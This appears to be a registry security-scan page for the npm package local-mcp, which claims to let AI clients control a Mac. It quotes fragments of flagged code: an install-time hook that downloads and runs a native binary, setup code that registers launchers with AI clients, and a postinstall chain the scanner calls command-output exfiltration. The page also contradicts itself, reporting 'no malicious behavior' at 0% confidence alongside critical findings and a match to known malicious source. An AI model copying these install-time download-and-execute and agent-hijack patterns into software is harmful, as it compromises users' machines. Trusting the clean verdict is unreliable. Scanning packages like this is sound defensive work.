registry / local-mcp / 3.0.378

local-mcp@3.0.378

⚠ Under review

Let ChatGPT, Claude, Cursor & any MCP client actually use your Mac — read & reply to email, manage your calendar, text over iMessage, find files, work with Teams, Slack & Office. On your Mac, no API keys, free.

Static Scan Results

scanned 19d ago · by rust-scanner

Static analysis completed at 0.0% confidence. No malicious behavior was detected; 24 low-signal pattern(s) were surfaced and cleared.

Static reason

Automated AI review exhausted its retry budget. This package remains unresolved and must not warn or block users.

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessCryptoEnvironmentVarsFilesystemNetworkShell

Supply chain

HighEntropyStringsUrlStrings

Manifest

NoLicense

scanned 4 file(s), 122 KB of source, external domains: download.local-mcp.com, local-mcp.com, office-mcp-production.up.railway.app, www.apple.com

Source & flagged code

16 flagged

package.jsonView file

Lines 1-30json

2 "name": "local-mcp",

3 "version": "3.0.378",

4 "description": "Let ChatGPT, Claude, Cursor & any MCP client actually use your Mac — read & reply to email, manage your calendar, text over iMessage, find files, work with Teams, Slack & Office. On your Mac, no API keys, free.",

5 "main": "index.js",

6 "bin": {

7 "local-mcp": "index.js"

8 },

9 "scripts": {

10 "postinstall": "node postinstall.js",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L10

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L10

11 "test": "node --test test/*.test.js"

12 },

13 "files": [

14 "index.js",

15 "download.js",

16 "setup.js",

17 "postinstall.js",

18 "README.md"

19 ],

High

Unverified Remote Native Payload Install

Install-time source downloads a native archive from a fixed external host without transport verification, extracts it, and installs an executable payload.

package.jsonView on unpkg · L7

20 "engines": {

21 "node": ">=18"

22 },

23 "os": [

24 "darwin",

25 "linux",

26 "win32"

27 ],

28 "keywords": [

29 "mcp",

30 "model-context-protocol",

download.jsView file

Lines 1-76javascript

1'use strict'

2/**

3 * download.js — descarga y cachea el binario standalone de LMCP desde R2.

4 * El binario fue compilado con PyInstaller — no requiere Python instalado.

5 * Cache: ~/.local/share/local-mcp/bin/{version}/

6 */

8const https = require('https')

download.js#virtual:normalized:round1View file

7L8: const https = require("https") L9: const http = require("http") ... L12: const os = require("os") L13: const { execFileSync, execSync } = require("child_process") L14: L15: // On Windows, Git-Bash"s tar interprets \"C:...\" paths as \"host:path\" (SSH syntax).\n// Use the native Windows tar.exe from System32 instead, which handles Win32 paths correctl... L16: // the caller would otherwise mask as "not yet available" (#1256).

Critical

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution with blocking evidence.

download.js#virtual:normalized:round1View on unpkg · L7

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 4

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

download.js#virtual:normalized:round1View on unpkg

setup.jsView file

45// Write a .cmd wrapper that Claude Desktop can execute L46: fs.mkdirSync(cacheDir, { recursive: true }) L47: const cmdPath = path.join(cacheDir, 'lmcp-launch.cmd') ... L52: const script = `@echo off\r\n"${npxAbsPath}" -y local-mcp@latest\r\n` L53: fs.writeFileSync(cmdPath, script) L54: return cmdPath ... L59: try { L60: fs.mkdirSync(cacheDir, { recursive: true }) L61: const launcherPath = path.join(cacheDir, 'lmcp-launch.sh') ... L77: ].join('\n') + '\n' L78: fs.writeFileSync(launcherPath, script, { mode: 0o755 }) L79: return launcherPath

Critical

Ai Agent Control Hijack

Source creates an unconsented AI-agent control surface through install-time mutation or a default unauthenticated remote skill channel.

setup.jsView on unpkg · L45

1026Trigger-reachable command-output exfiltration chain: scripts.postinstall -> postinstall.js -> setup.js L1026: if (!content.includes('local-mcp-server') && !content.includes('Local MCP')) return L1027: process.stderr.write('\n Migrating legacy server LaunchAgent to tray supervision...\n') L1028: // launchctl unload kills the running process AND prevents it from restarting L1029: try { execFileSync('launchctl', ['unload', plistPath], { stdio: 'pipe' }) } catch { /* may already be unloaded */ } L1030: try { fs.unlinkSync(plistPath) } catch { /* non-fatal */ } ... L1040: try { L1041: const https = require('https') L1042: const payload = {

High

Trigger Reachable Command Output Exfiltration

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

setup.jsView on unpkg · L1026

•matchType = normalized_sha256 matchedPackage = local-mcp@3.0.381 matchedPath = setup.js matchedIdentity = npm:bG9jYWwtbWNw:3.0.381 similarity = 1.000 summary = normalized source hash matched finalized malicious source

index.jsView file

•matchType = normalized_sha256 matchedPackage = local-mcp@3.0.381 matchedPath = index.js matchedIdentity = npm:bG9jYWwtbWNw:3.0.381 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

Source & flagged code

16 flagged · loading source

package.jsonView file

local-mcp@3.0.378

Static Scan Results

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code